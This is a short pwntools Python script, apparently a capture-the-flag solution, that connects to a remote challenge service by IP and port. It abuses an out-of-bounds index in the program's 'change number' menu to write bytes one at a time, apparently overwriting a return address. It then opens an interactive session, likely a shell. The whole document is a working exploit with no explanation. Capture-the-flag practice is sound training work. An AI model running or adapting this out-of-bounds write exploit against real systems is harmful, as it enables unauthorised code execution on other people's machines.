from pwn import *

io=remote("111.200.241.244",59877)

#io=process("./3fb1a42837be485aae7d85d11fbc457b")

print(io.recvuntil(b"How many numbers you have"))

io.sendline(b"1")

print(io.recvuntil(b"Give me your numbers"))

io.sendline(b"1")


print(io.recvuntil(b"5. exit"))
io.sendline(b"3")
print(io.recvuntil(b"which number to change:"))
io.sendline(b"135")
print(io.recvuntil(b"new number:"))
io.sendline(b"8")

print(io.recvuntil(b"5. exit"))
io.sendline(b"3")
print(io.recvuntil(b"which number to change:"))
io.sendline(b"134")
print(io.recvuntil(b"new number:"))
io.sendline(b"4")


print(io.recvuntil(b"5. exit"))
io.sendline(b"3")
print(io.recvuntil(b"which number to change:"))
io.sendline(b"133")
print(io.recvuntil(b"new number:"))
io.sendline(b"132")

print(io.recvuntil(b"5. exit"))
io.sendline(b"3")
print(io.recvuntil(b"which number to change:"))
io.sendline(b"132")
print(io.recvuntil(b"new number:"))
io.sendline(b"80")


print(io.recvuntil(b"5. exit"))
io.sendline(b"3")
print(io.recvuntil(b"which number to change:"))
io.sendline(b"143")
print(io.recvuntil(b"new number:"))
io.sendline(str(int(0x8)).encode())


print(io.recvuntil(b"5. exit"))
io.sendline(b"3")
print(io.recvuntil(b"which number to change:"))
io.sendline(b"142")
print(io.recvuntil(b"new number:"))
io.sendline(str(int(0x4)).encode())



print(io.recvuntil(b"5. exit"))
io.sendline(b"3")
print(io.recvuntil(b"which number to change:"))
io.sendline(b"141")
print(io.recvuntil(b"new number:"))
io.sendline(str(int(0x89)).encode())

print(io.recvuntil(b"5. exit"))
io.sendline(b"3")
print(io.recvuntil(b"which number to change:"))
io.sendline(b"140")
print(io.recvuntil(b"new number:"))
io.sendline(str(int(0x87)).encode())



print(io.recvuntil(b"5. exit"))
io.sendline(b"5")

io.interactive()
